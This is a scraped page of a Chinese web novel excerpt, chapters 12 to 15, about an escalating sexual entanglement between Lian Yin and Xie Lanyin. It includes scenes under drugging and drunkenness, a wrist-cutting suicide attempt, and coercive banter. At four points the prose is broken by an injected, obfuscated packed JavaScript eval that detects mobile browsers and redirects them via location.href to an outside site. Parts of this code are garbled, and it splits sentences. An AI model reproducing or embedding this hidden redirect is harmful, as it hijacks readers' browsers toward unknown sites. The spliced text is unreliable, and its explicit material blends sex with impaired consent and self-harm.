;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834881|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他也反抗不了她。 连音身体靠近,膝盖压在榻上,将重量都落在谢澜音的身上。他喉结微动,抬起手臂接住了少女下沉的腰身,然后得到了奖赏般的一吻。 唇畔相贴,传来的柔软触感也让连音的脸颊逐渐开始发烫。 这并不是她第一次亲吻一个人了,但这是她第一次这么突然的亲吻一个人。 一个刚认识的,别人。 她知道其实责任与愧疚只占一小部分,更多的是,她被他引诱到了,生理性地想要亲近他。 咫尺的酒香,混合着少年衣襟的熏香,有种蛊惑人心的味道,引诱着她打破原则,撬开他的唇齿…… 连音心跳得愈加厉害,她微颤着眼睫,抬起眼,视线撞入那池被搅乱的春水里。谢澜音紫眸里水雾迷蒙,压抑的眼尾泛起薄红,微张的唇很轻很轻的摩挲着她的唇瓣,时不时吸吮,偶尔探出柔软的舌尖轻扫…… 他半躺在软底的榻上,身子依靠着扶手,而她马奇在他身上,胳膊搂着他逐渐染上霞红的玉白脖颈。 紊乱的呼吸在昏暗的空气里流连。 连音闭了闭眼,低头,舌尖探入他的口中,另一只手缓缓移动,向下触摸。 少女嘴唇的温度柔软且冰凉,延绵而来的喜悦几乎将他淹没。谢澜音仰头,与她不加掩饰的纠.缠在一起,但随着时间的持续,他心底又渐渐漫上来一阵难过。 她怎么可以亲他? 她怎么可以这么轻易地被引诱到??怎么可以那么快接受新的人??? 他好讨厌她。 谢澜音手掌贴着少女的后背,将她压向自己,将那些无法言说出口的怨恨都融入这个暴烈的吻里。 忽然,他眼睫不可置信地颤了一下。 一种过电般的酥麻感自那生根发芽的爱欲间传来,沿着脊背骨攀升,传遍全身…… 少女的指尖正在描摹他,触碰着他。 谢澜音身体发软支撑不住地向后倒去,微微分开的唇中溢出一声喘息,像是幼兽绝望的呜咽。 连音知道他现在很难受,毕竟这种事情也不是光靠亲吻就能解决的。 她闭紧双眼,隔着覆盖的布料慢慢安抚那只躁动的小兽,力道逐渐由轻加重…… 谢澜音眼中的水意逐渐凝结成泪珠,他轻轻喊出了那个在舌尖盘恒已久的名字,微弱得几不可闻。 早就被药物折磨得摇摇欲坠的理智,揉碎在了少女的指尖里,眼前转入一片眩目的光亮中…… 连音僵了一瞬,缓缓睁开眼。 谢澜音躺在榻上轻轻喘着气,整个人如同浸沐在春雨中,发丝凌乱,原本苍白的脸上一片潮红,漂亮的眼睛里仿佛还蕴着高.潮的余韵,睫毛上挂着点水珠,湿漉漉的。 连音还是第一次遇到这种情况。 但……这也太快了吧?他刚不是挺会亲的吗,应该不是第一次了吧? 连音缓缓收回僵硬的手指,问道,“你……你还好吗?” 谢澜音失焦的眼神汇聚,望见她错愕的神情,轻轻闭了闭眼。 “滚出去。”他别过头,微喘着气,声音带着几分恼怒,“……我现在不想看见你。” 连音正愁留在这里很尴尬呢,闻言立刻起身朝屋外走去,并且贴心地带上了门。 最后一缕光沉入黑暗,房门被合上。 “每次让走就真走……”少年轻嗤了声,也不知道在笑谁。 连音来到外边,夜风拂过她发烫的面颊,她低头看着自己仿佛留有余温的手指,脑海不断回播刚才的画面…… 完蛋了,接下来两个月半肯定会很尴尬的。 脑中杂乱的思绪还未理清,身后忽然响一声“扑通”的落水声,扩散的涟漪在湖面荡开。 连音心中闪过一丝不妙。 “谢澜音!”她回身推开门,屋内已经空无一人,只剩下一扇大开的窗户在风中轻晃。 连音来到窗边,果然看到了湖中正在漂浮的衣袍,还有那丝丝缕缕晕开的血红。 连音:“……” ……他没必要吧? 这种事情而已,也没有丢脸到需要投湖自杀的地步吧? 13. 第 13 章 连音将人捞上岸时,谢澜音已经昏迷,苍白的手腕处还流淌着鲜血。 人生地不熟的,连音只能又求助谢随,才将人带离了宴席,又请来了医修。 医修在屋内医治谢澜音,屋外,连音正在同谢随讲起宴席上发生的事情。 在听闻事情的起因竟与自己有关后,谢随眉头紧锁起来:“知道了,谣言的事情我会去处理的。” 谢随走后不久,医修也很快从房间出来了。 连音问道:“他人没事吧?” 医修点点头,面色却有些凝重,问道:“最近是有谁找他算过什么吗?” 连音愣了一下,想起谢随说的……‘要是被医修查出去告诉家主可能会有麻烦,会牵连到你……’ 连音立刻道:“没有吧,我最近刚来的,难道是之前?” 医修见少女看着确实面生,也没再问,随便叮嘱了几句要把人看好之类的话后就离开了。 连音目送着医修离开后,觉得有些奇怪,怎么是把人看好呢?跟囚犯一样。 她回身看向屋内,谢澜音已经醒来。 少年坐在床边,只着一件单衣,银白月光落在他披散的长发上犹如一夜凋零的霜华,手腕上的伤已经被医修治好,连一丝疤痕都没留下。 连音走进来,问道:“你觉得怎么样?还有哪里不舒服吗?” 谢澜音淡淡说:“刚才在外面不是已经问过了吗?” 连音说:“又不一样,医修说你没事了,那你的感受呢?你觉得还有没有不舒服?” “为什么这么关心我?”谢澜音抬起头,视线轻轻落在她的脸上,没什么情绪地说,“因为刚才和我接吻了吗?” 连音愣了一下,听他又说,“还是因为你有求于我,所以愿意为了讨好我做任何事,包括献身……” “别说了——”连音身体微微发颤,只觉忽然被一盆冷水当头淋下,从头凉到了脚。 明明是他先引诱她的,她顺他意后却要反过来被嘲讽不择手段,被羞辱毫无底线……怎么会有人这么讨厌? 连音压抑住想要马上离开这里的冲动,同他争辩道,“我确实有求于你,所以不希望你出事,白天那么做只是情急之策,也帮你解了毒,而且是你在那里先……” 可能是后面两个字太过于羞耻,连音迟迟没有说出口,又找不到合适的替换词,便卡在了那里。 “我在那里先什么?”谢澜音轻描淡写地替她补完了语句,“勾引你吗,还是引诱你?” 连音压着怒意说,“你不是都知道吗?” 谢澜音继续问:“如果白天不是我,是不是谁能帮你忙,你都会这么做?如果能帮你的人换成谢随,换成刚才那个医修……” 连音脑中仅剩的理智轰然炸断了,浑身血液直冲大脑。 他想要听到什么答案?听她说只是对他特殊,然后再被他嘲讽一遍下贱,还是想听她回答说谁都可以,就是这么不择手段? 无论哪种,不都是为了羞辱她,让她难堪吗? 连音气得转身就往门外走! 天底下能帮她忙的人又不是只剩谢澜音一个,她没必要一直待在这里被他羞辱。 谢澜音道:“我现在可以回答你第三个问题,你……” “不需要了!”连音脚步不停,她已经打算找其他人帮忙了,根本就没必要陪谢澜音浪费时间,他根本就是故意耍她!找尽一切机会恶心她的! 然而当连音走到门口,却发现根本出不去,门口不知何时升起了一层无形的结界。 画舫那夜的记忆浮上心头,连音转过身。 对上少女几欲喷火的眼神,谢澜音反倒笑了一下,说:“这么生气干什么?我只是不想你太冲动,错过这个难得的机会,毕竟我今天心情好,愿意帮你。” 他说着心情好,眼中却毫无笑意,连音不用想就知道他又要戏弄自己。 “不用了,我考虑得很清楚,不是一时冲动。” 谢澜音问:“你是在为我刚才问你的话生气吗?” 明知故问。连音没有回答。 谢澜音说:“我可以道歉,我不是故意冒犯你的,我只是单纯好奇这个问题……毕竟,那是我的第一次。” 连音愣了一下,觉得很扯淡。他随随便便就问别人要不要接吻,还摆出那副姿态勾引她……退一步讲,他没要她帮忙,那不也没阻止吗? 连音嘲讽道:“你是在为你的不行找借口吗?” “真的啊。”谢澜音笑着站起身,朝她走来,“再试一次不就知道是不是借口了吗?作为交换,我会帮你算一个问题,总之不会让你吃亏,好不好?” 连音冷着脸说:“不要。” 再被骗就显得她太蠢了吧? 谢澜音越过地面流淌的月光河,走到她面前:“你要是对我刚才问的那些话不舒服,我也可以帮你骂回来的。” 自己骂自己根本就不痛不痒,而且他脸皮这么厚,有什么能伤害到他的? 连音转过头:“不用了,快放我……” 谢澜音忽然俯下身,眼睛与她平视。 空气被他身上若有似无的香侵占,连带他看过来的眼神都带了一种侵略性,连音的声音下意识一顿。 接着,她看到他启唇说。 “今天是我下贱,不要脸,非要勾引你,喜欢被你拒绝,求着你亲我,还恨不得脱……” 他沉静的眼眸将她包围,声音也很轻缓,如果光看神情根本看不出来他在说这么不正经的话。 连音几乎是愣了三秒,才伸手捂住了他的嘴巴,一种说不清是恼怒,还是羞恼的情绪在她眼中荡开,“你……” 谢澜音眨了眨眼,没有被遮挡的漂亮眼睛里流淌着无辜,与她掌心紧贴的唇瓣微启,连音分辨不出他在说什么,只能感觉到他说话掠过的气流…… 连音松开手问:“你想干什么?” 谢澜音说:“哄你啊。” 连音:“……” 谢澜音又引诱道:“你不是想知道陨落之地什么时候会出现吗?等它出现的时候,你只需要再让我帮你算出它在哪里,就可以和我分道扬镳了……就只差一个问题了。” 现在答应他的话,就只差一个问题了。 连音看着他近在咫尺的唇,手掌似乎还残留着他刚刚擦过的柔软温热的触感,犹豫了片刻,凑近,主动将最后那点空隙填补。 柔软的温度落在唇畔上。 意料之中。 谢澜音心中并没有特别高兴,他还是很介意刚才那个问题……他低头看着少女缓缓闭上的眼睛,扣住她的肩膀,没有丝毫试探,便直接撬开她的齿关,俯身将这个吻加深。 呼吸间的空气逐渐变得黏腻湿润。 连音能够感觉到他的舌头正在……挑逗自己。她睁开眼,相较于白天,已经看不见少年泛红的眼眶,那摇摇欲坠像是破碎的眸光也早已消失不见。 他已经从被侵犯的受害者转为了游刃有余的掠夺方。 连音更加确信了他之前的话都是谎言,她恼怒地用牙齿咬住了他探进来的舌尖,直到口中弥漫起丝丝缕缕的腥甜。谢澜音微顿了一下,察觉到怀中人的抗议,与她缓缓分开。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834882|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >略带急促的喘息扑打在脸上,胸腔中剧烈的心跳似乎还没从刚才那个吻中回过神。连音审视着谢澜音半隐在昏暗里的神情,与他拉开距离。 月光在门外静悄悄地流淌。 “我要回去了。”连音看向门口已经消失的结界,通知了声就打算离开。 谢澜音问:“报酬不要了吗?过了今晚,明天可就不作数了。” 连音脚步微顿了一下说:“不要了,不想继续了。” 他们并没有感情基础,现在也不像白天那样情势所迫,再继续下去的话就是不正经交易了。 情况会变得很奇怪。 谢澜音道:“我没说继续,我是问你报酬还没收,现在就要走了吗?” 连音有些怔,回过头:“刚才那样也算吗?” 他们才亲了一分钟不到就结束了吧? “算啊。”谢澜音说完,公事公办地问道,“确认一下你今天要问的问题是你娘的陨落之地什么时候会出现,对不对?” 连音认真问道:“你推演结果的代价是什么?” 谢澜音没想到她会突然问这个,回道:“会伤神。” 伤神的概念太笼统了。谢澜音不想告诉她。 按照刚才那个医修的说法,他每推算一次都亏损严重,不能这么频繁地推算。 连音没想过要谢澜音今天给出答案。 既然她从一开始就没想过要走种捷径,那现在也没必要因为没有得到这种报酬而可惜。 连音下定决心后,说话就轻松了许多:“今天就算了,等以后你身体好点了,我再找机会问你。” “我走了,你也早点休息。” 连音说完,便快步离开了房间。 身后有道视线似乎沉默地注视了她许久,她没有回头看。 “啾啾啾。” 连音在回去路上遇见了一只漂亮的小鸟,白紫相间的羽毛,掠过月下时还会泛起珍珠母贝的光泽。 体形大概只有巴掌大小,有点像圆球,品种连音看不出来。 也不知道哪里跑出来的,性格十分亲人,连音只不过是回头多看了它一眼,它便大胆地降落在连音的肩上,两颗黑珍珠似圆溜的眼睛盯着她,看个不停。 “你是谢澜音养的吗?” 连音伸出手指去轻碰小鸟的脑袋,小鸟脑袋就顺着她手指用力的方面轻轻歪倒。 察觉到连音要收回手指,小鸟又挪近两步,歪着脑袋亲昵地蹭她的手掌心,蹭她的脸颊,像是在亲亲。 连音将这只热情的小鸟从肩上拿到手心,顺着它的羽毛摸了摸,蓬松柔顺,又轻轻捏了捏它的身体,是温暖的。 她回头看走来的路,并没有发现鸟笼的踪影,也不知道这只小鸟是从哪飞出来,再折返回去问谢澜音也很麻烦。 连音问小鸟:“你是住在这里吗?” 小鸟:“叽叽。” “你可以自己飞回去吗?” “啾啾?” 小鸟好像听不懂人话。 但想跟她回家。 连音想着也就收留一晚上没什么,便将这只小鸟带回了房间,叮嘱它要安静,自己要休息了。 小鸟似乎真能听懂她的话,没有乱飞,乖乖站在架子上一动不动,似乎也准备休息了。 今天发生了太多事,连音也很累了,洗漱完刚躺下没多久,便进入了梦乡。 黑暗中,小鸟像一只木头玩偶,一动不动,漆黑的眼睛安静地注视少女,看着她的呼吸逐渐绵长。 在连音不知道的,小鸟眼睛的另一端,一场大火正在悄然燃烧…… 14. 第 14 章 翌日早晨, 连音醒来,迷迷糊糊间颈侧似乎还有什么毛茸茸的东西……她伸手抓出来,发现竟是蜷缩成一团的小鸟。 连音瞬间清醒了几分,随后有些庆幸自己昨夜睡得安稳,没有乱翻身,否则可能就要发生什么惨案了。 “你怎么突然飞到我床上了,好吓人。” 连音摸了摸已经醒来的小鸟,“等会带你去找你的主人。” 阳光温温蒙蒙,落在院子里。 少年大病未愈又经历了昨天的闹剧,精神有些不大好,见了连音带来的小鸟,神情也恹恹的。 “我怎么记得清一只鸟住在哪里?你不喜欢不管它不就好了,需要想它住在哪里吗?” “也没有不喜欢……”连音看着站在手掌上的小鸟,感觉是野猫一口就能吞掉的体型。 她安抚地摸了摸小鸟脑袋,“我不打算养鸟,本来就是意外遇到,也不能一直带着它,要是放任它乱飞,不是很不安全,容易死掉吗?” 谢澜音恍然:“你没那么喜欢它,又想把它关在笼子里,让它天天活着……” 连音:“……?” 什么恶毒的解读? “你别把我说得那么过分好不好?”连音将小鸟放到桌上,推到他面前,“这本来就不是我的,是你家的,你的。而且它长这么胖,明显之前是有人喂养,你真的一点印象都没有吗?” 谢澜音伸手去逗面前的小鸟,然后就被啄了一口手指,问,“你看这像是我养的吗?” 连音:“……” 谢澜音说:“之前不是遣散了很多人吗?可能就是他们养的,走了不想要了,就没带走。” 连音觉得有道理,问,“我们不能找人照顾它吗?比如把它送给喜欢养鸟的人?” 谢澜音漫不经心地继续逗着小鸟玩,“它很喜欢你,主动亲近你,你把它送给别人,它会伤心死掉的,不如让它自生自灭比较好吧。” 连音愣了下,看向桌上还活泼乱跳的小鸟,“有这么严重吗?” “也对,你看不见的事情,就是没发生。”谢澜音说,“那我今天陪你去找个人送了,我们一起看看它几天会死?” 连音:“……” 谢澜音见她沉默,抬眸问道:“怎么了?不舍得吗?这么不在意又廉价的喜欢,让它死掉又怎么样?” 连音不想和他吵架,平静地说:“把它送出去的初衷是我照顾不好它,希望它能有个好归宿,而不是着急送它去死,测试它几天会死。” 她讨厌谢澜音冷嘲热讽的态度,每次和他讲话都觉得像有个即将点燃的炮仗放在中间,随时要爆炸。 “你怎么知道照顾不好?”谢澜音说,“承认没有那么在意,不想负责很难吗?不想要它又有什么关系?” 连音奇怪地说:“我今天没惹你吧?你有必要我说一句怼一句吗?” “那你想要我说什么?”谢澜音淡淡地问,“路上随便遇到一只鸟都要苦恼,我还不如一只鸟重要吗?” 连音终于听出来原因了:“……昨天的事情,我们不都说清楚了吗?” 谢澜音问:“说清楚什么?” 连音说:“情急之策。” “嗯。”谢澜音轻轻笑了,示意她继续说。 连音继续说道:“你也没吃亏……” 谢澜音冷不丁问:“没吃亏吗?” 连音:“……” 她都说不出口,他到底有什么吃亏的地方? 难道是因为昨天在她面前丢脸了,所以看她特别刺?怕她到处乱说? 连音说:“昨天的事没有别人知道,这是你的私事,又是意外,我会帮你保密的……” “保密什么?”声音从旁边传来。 连音转头看去,谢随正从廊下走来,红白相间的织金束袖长袍,衬得少年整个人很有精气神。 同样是红白色。 连音又看了眼谢澜音,懒懒散散,完全不一样的感觉,但他神情一点都不意外,看来只有她不知道谢随要来的事情了。 谢随走近,见没人回答自己,又问了遍:“保密什么?” 连音微笑道:“都保密了,当然是不能说的。” 她虽然生气,但嘴巴还是很严的。 “其实也没什么不能说的。” 见二人视线看来,谢澜音笑了下,语调散漫地说,“昨天有人给我酒里下药,我求她帮我,结果被她发现我好像不行……” 连音:“…” 谢随:“……” 连音以为他要随便编句话搪塞一下谢随,没想到他竟然自曝了?而且还这么轻描淡写?那昨天寻死觅活的人是谁啊? 与此同时,连音感觉到谢随的视线正一寸寸往自己脸上移,这确实不是人能接上的话题,但是她也很震惊啊。 连音低声道:“你不是还有事吗?” 谢随移开了视线,直入正题道:“哦,昨天的事情我已经去调查了,谣言的事澄清了,但那几个涉事人在昨夜被人同时斩断了手臂,大夫人那边也出了点状况……虽然消息及时封锁,但还是传出了很多不利的流言。” 连音问:“凶手呢?找到了吗?” 谢随说:“还没找到。” 连音预感有些不妙,昨天那事原本是冲她来的,后面被谢澜音挡了,眼下害他们的人出事,那被害之人的嫌疑不就最大吗?难怪他刚才要问保密什么。 “是吗?那真是太好了。”谢澜音笑道。 连音看了他一眼,幸灾乐祸的味能不能收一收?他们现在可是怀疑对象。 谢随道:“这是昭阳城,事情传出去不好听,凶手还是得找到的……” 连音以为他接下来是要让谢澜音找人,又或者询问他们昨晚在哪里,结果他说,“不过我也就打算做做样子。” 连音问:“你打算随便抓个人交差吗?那万一这个人下次还作案呢?不会露馅吗?” 谢随无所谓说:“那下次再抓呗,谁能证明这是同一个人?” 连音:“……” 没想到谢随办事竟然这么随意。 “我这次过来就走个过场,你们回头别说漏了就行。”谢随又看了看桌上,问道,“怎么有只鸟啊?” “可爱吧?”连音趁机推销,“很乖的,你要养吗?” 谢随看了一秒,抬起头道:“我接下来还要去交差,明天还有其他事情,后天还要去趟别的地方,最近几天都不会回来。” 连音听懂了他的意思,没空。 谢随这次来除了凶手的事其次就是告别,没待多久就离开了。 “现在需要保密的事情没了。”谢澜音见她看向自己,笑道,“我们继续?” 连音想不通了:“……你到底要干什么?” 谢澜音问:“你想当什么事都没发生过?” 连音说:“不然呢?你不会还要我对你负责吧?” “负责倒不用,”谢澜音认真打量了她一下,补充,“你这样也没办法对我负责……” 连音说:“……那我要谢谢你这么看不起我吗?” “也不用。”谢澜音轻笑了一下,说,“来亲我吧。” 连音愣了一下,看着他身体前倾,苍白的手臂从白红相叠的宽大衣袖中伸出,懒散地支撑住下巴看她。 丝丝缕缕的日光散落在少年靠近的脸上,他的睫毛长而密,眼型十分漂亮,安静看人时显得很单纯无辜。但说的话却是—— “我今天身体好了,可以帮你。” 连音看着他眼眸里荡开的笑意,一瞬有些被蛊惑,但很快清醒过来,“不用了,我不想用这种方式和你交换。” 谢澜音失望地说:“最后一次也不行吗?” 最后一次。 一个很具欺骗性的句式结构,陆影以前天天就拿这个骗她,尤其是搭配这副可怜兮兮的表情,十有八九都是假的。 连音果断拒绝了:“不行。” 谢澜音放弃道:“好吧,那我吃点亏,就当作什么都没发生吧。” 连音扯了扯嘴角:“……” 他到底哪里吃亏了啊?真不要脸。 “你不是要给这只鸟找主人吗?”谢澜音站起身道,“走吧,我们出去找。” 连音愣了一秒,抱着小鸟跟上他,“先说好,不能随便找个人送掉。” “不随便。”谢澜音走在前面,说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834883|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑个它喜欢的,你也满意的,行不行?” 连音闻言终于放下心来:“嗯!” 谢澜音说着帮忙,其实方式也很简单,就跟他们初遇那样直接撒钱。谁能让这只小鸟喜欢就赏…… 连音担忧:“两千灵石会不会太多了?” 谢澜音皱眉:“两千还多?” 连音思考了下,说:“灵石给太多了的话,大家就会为了灵石不折手段吧?到时候来的人也不一定是喜欢小鸟的……稍微给点差不多了吧?其实不给更好吧?不如把钱给帮忙吆喝的人……” 谢澜音一眨不眨盯着少女的侧脸,说:“随便你。” 反正无论给多少,小鸟都送不出去的。 昭阳城本就是热闹的大城,游湖的那片街区风景最好,来往的行人也多,对养鸟感兴趣的人也挺多。 谢澜音时不时就在旁边说些危言耸听的话。 “看见那个了吗?饿得面黄肌瘦,回去就把鸟炖了……这个,看面相喜欢折磨小鸟……” 三天过去,连音也看了一百多号人,然而鸟却一直没送出去。不管来的是谁,不管面相多和善,养鸟多有经验……大家都被啄了。 这只小鸟似乎就是对谁都不满意,别人来摸它,它就躲,硬摸它,它就啄,严重时还会应激……总之,跟性格温顺爱黏人一点都不沾边。 到了后面来的人已经寥寥无几,并且大家看连音的眼神都带点怀疑了。怎么把这么凶的鸟说成温顺的鸟,那不是欺诈吗?难怪要贴钱送! 连音也很纳闷啊,难道性格温顺的小鸟被调包了?然而她手一伸过去,小鸟立马温顺的把脑袋靠过来贴贴了,乖得不行。 连音陷入沉思:“……” 这个世界有问题?还是她有问题? 谢澜音看着坐在甲板上一脸怀疑人生的连音,拎着酒壶来到她身边坐下。 “要喝酒吗?” 谢澜音这几日除了最开始会危言耸听一下,后面就坐边上吃吃喝喝……闲得很。 连音摇头:“不喝。” 她酒量不太好。 “可惜了。”谢澜音也没再劝,自顾自地倒了一杯说,“这酒名为枕梦醉,千金难求,听说喝完就能做一个美梦,梦到想见之人。” 美梦……连音不禁想起了幻境。 那真是一个难得的美梦。 喝完这杯酒能梦到吗?如果不能,又会梦见什么样的美梦呢? 连音转头看向谢澜音手里拿着的酒杯,绿玉镶金,被他圈在修长漂亮的手指里,很小巧一只。 谢澜音恰在下一秒转过头,问:“真的不喝吗?这酒没多少。” 连音看到他边上放着与酒杯同套的酒壶,确实也小,看着没几杯就会倒完。 连音犹豫了一下,点了点头。 谢澜音便将手中这杯还没喝的递给她,自己又倒了杯。 连音接过酒,喝了一口,枕梦醉的口感相对柔和,绵甜清香,但终究是酒,该辣嗓子还是会辣…… “只喝一杯可以梦到吗?” 谢澜音笑了起来,拿过酒壶又给她倒了一杯,“不知道,多喝总归可能性会大些。” 连音并没有讨酒的意思,但是人家倒都倒了,她还是乖乖喝了,然后再把空掉的酒杯放到旁边。 天边的晚霞沉入云层,烧得炽烈。 连音吹着风,真切地感觉着自己的精神正在缓慢地被酒精麻痹。 “连音。” 有人喊她名字。 连音下意识转过头,然后撞入一双颜色比还晚霞还绮丽的紫眸中,她有些怔神。 对方正笑着同她讲话。 连音听不清他说了什么,只看见画面一点点拉近,看见那双紫眸微微睁大,浮现出诧异的情绪…… 他为什么要这么惊讶? 哦,原来是她捧住他的脸,将唇印在了他的唇上。 连音停了下来,脑袋有些沉,她为什么要这么做?她刚才并不想这样做的…… 连音抬起眼想要解释,却在看见那双紫眸中流转而过的暗光后,再次失神。 她抬起他的下巴,伸出舌头,近乎蛮横得撬开了他的唇。 …… 15. 第 15 章 周围是清晰的水声,身下的软榻传来轻微的摇晃感。 连音醒来时仍在游船上,船外已经完全沉入夜色里,湖对岸的街道只剩几盏灯零星亮着。 连音坐起身,有什么东西从身上滑落,她低头看去,是一件雪白的外袍,沾着淡淡的酒香。 酒…… 断断续续的记忆浮现脑海,像梦一样,又像是醉酒后的冲动行为。 她记得自己主动吻了谢澜音。 他似乎要推开她,却被她半是强迫地压在身下,扣住十指……她一直亲他。 亲得他身体发软,无力闪躲,亲得他眼眶泛红,喉间溢出喘息…… 最开始不知道为什么,后来渐渐觉得好玩,想要看到他不再游刃有余,更情动,更狼狈的模样。 她开始触摸他最滚烫的地方,恶意地去扯乱他的衣服。他拉住她的手,脆弱的眸中带着几分哀求。 “船要靠岸了……” 她听到了隔岸的人声鼎沸,于是渐渐失去了意识,倒在了他的身上。 “……” 连音有种一切都是自己做的,也都有意识,但就是觉得好荒唐,她怎么能做出这些事?! 连音脑袋乱糟糟的,走出房间,她记得自己醉酒后不应该都是安静睡着的吗?怎么可能会兽性大发地去扑倒别人?还是陆影骗了她? 船楼外,夜凉如水,星光酿成酒落在少年的肩上,周围已经陷入沉睡,鸦雀无声。只有她踩过甲板发出的窸窣声响。 风吹在脸上,也吹起少年垂落在甲板上的衣角。谢澜音身上只着一件红衣,背对着她而坐,头微微仰着,像是在望着头顶的星空出神。 一切都提醒着连音,那段记忆绝非幻梦。 她一瞬间尴尬得想要退回去,谢澜音却已经转过头,发现了她。 “清醒了?” “嗯,”连音只好在他的注视里走到他身边坐下,“我刚才好像喝醉了,做了一些很冒犯你的事情,对不起……”她应该直接跪下的。 连音道歉时根本不敢看谢澜音的表情,这种事情光说对不起有什么用啊?人家怎么可能接受…… 谢澜音说:“没关系。” 连音微怔了一下,看见他淡淡移开视线说,“反正,你也不是第一次这么冒犯我了。又要当什么都没发生过对不对?” 连音硬着头皮解释道:“我平时喝醉了不这样的,今天不知道为什么……” 谢澜音截断她的话,皱眉问:“你想说,我在酒里下药了,故意让你在众目睽睽之下侵/犯我……” “不是!”连音急得有些语无伦次了,“对不起,我没有说你下药的意思!我很清醒,不是,我不清醒,我是想说,我平时不这样的,你信我……” “我不是都说了没关系吗?比起这个……”谢澜音转过头,身体微微凑近,“别人都说酒后乱性是日思夜想,早有预谋……” 连音立刻道:“我对你没有非分之想的!” 谢澜音停了下来,问:“那你刚才玩我,玩得开心吗?” 连音说:“我没有玩你,我只是……” 她只是……只是……昏了头?这怎么解释都像酒后乱性的借口。而且她后面确实是有意识地在欺负他,觉得好玩,如果不是及时晕过去,还不知道会发生什么。 连音是真心感到抱歉,弱弱地说:“我现在跪下来给你磕三个头可以吗?我这辈子还没给人磕过头的。” 谢澜音笑了:“不用磕头,你真想道歉的话,不如公平点……” 连音刚想问怎么公平,就听见他说,“你做了多少,我就做多少……好不好?” 尾音随着他温热的呼吸压过来,在连音唇畔覆上一层温软,又轻触即分。 谢澜音抬起眼,看着怔住的连音,问:“恶心吗?我这样亲你,你讨厌吗?” 现在事情都发展成这样了,谁还管这个,不如速战速决……连音凑上前轻轻啄了一下他的唇。 得到答案后,谢澜音眉眼舒展开笑意,微凉的手指扣住她的下巴,再次低头凑近,没有任何试探地撬开了她的齿关,带着淡淡的酒香。 下一秒,她撑在甲板上的手被握住,手指打开,与他十指紧扣,身体失去了支撑点,开始承受不住这个吻,逐渐被压着倒向甲板。 他正在复刻她当时对他的所作所为。 连音看着面前人轻颤的眼睫,脑海又清晰浮现了一遍当时的画面。 比起她当时,他现在的举动堪称温柔。 密密麻麻的吻宛如连绵不绝的霏霏细雨,逐渐淋湿她,漫出黏腻的感觉…… 在将要越过某个临界点时,连音如梦惊醒,抓住他的手,商量道:“这个就算了吧……我当时……也没把你怎么样……” 谢澜音停下动作,视线扫过她额角漫出来的汗,问:“你不难受吗?” 谢澜音说,“你之前这么对我,我很难受,很疼……” 连音说:“难受,我现在和你当时一样难受,所以……”扯平。 “是吗?” 他修长如玉的手微移,连音声音被打断,触电感剧烈得心跳都有些发颤。 “你难受,那我要怎么做……怎么帮你纾解……你教我好不好?”谢澜音微颤的眼睫轻轻扫过她的脸颊,有点痒,低哑的声音缓缓摩挲耳畔,“我不会像你那样过分,自己玩够了就睡着的……” 连音再度拉住他的手指,紧紧缠住,说:“不,不用了。我们现在一样难受,刚好扯平了的,你不用这么牺牲的……” 她现在只想赶紧结束,别再继续下去了! 谢澜音闻言也没再继续,收回手,只是亲她。 也许是自他提过难受很疼之后,连音开始关注他总是没有真正压到自己的身体,问,“你现在还疼吗?” 谢澜音没有回答,低头去堵她的唇,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834884|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻或重地啃咬,颇带着几分发泄的味道。 肯定是还疼的。 连音手指勾住他的腰带,犹豫了片刻,见他没有阻止,又抱住他清瘦的腰身,身体缠了上去,将他压倒。 谢澜音低眸问:“干什么?” 连音凑上前说:“澄清,你不是说我玩够你了,就睡着了吗?” 她手指摸索着轻轻打转,边说话分散注意力,“我那个时候真的是喝醉了,不是故意这么对你的……” 谢澜音没有回答,只是望着她的眼眸逐渐升起朦胧的水雾,胸膛起伏,苍白的脸颊带着醉酒似的酡红,漂亮得像是盛开到艳丽的花。 四周静谧无声,任何细微的动静都会放大,无人讲话后便只剩下衣摆摩擦的声响。 连音不禁催促他:“你说点什么啊……你别什么都不说……” 谢澜音张开手臂将她抱入怀中,说,“戌时……” 连音愣了下,问:“……什么戌时?” 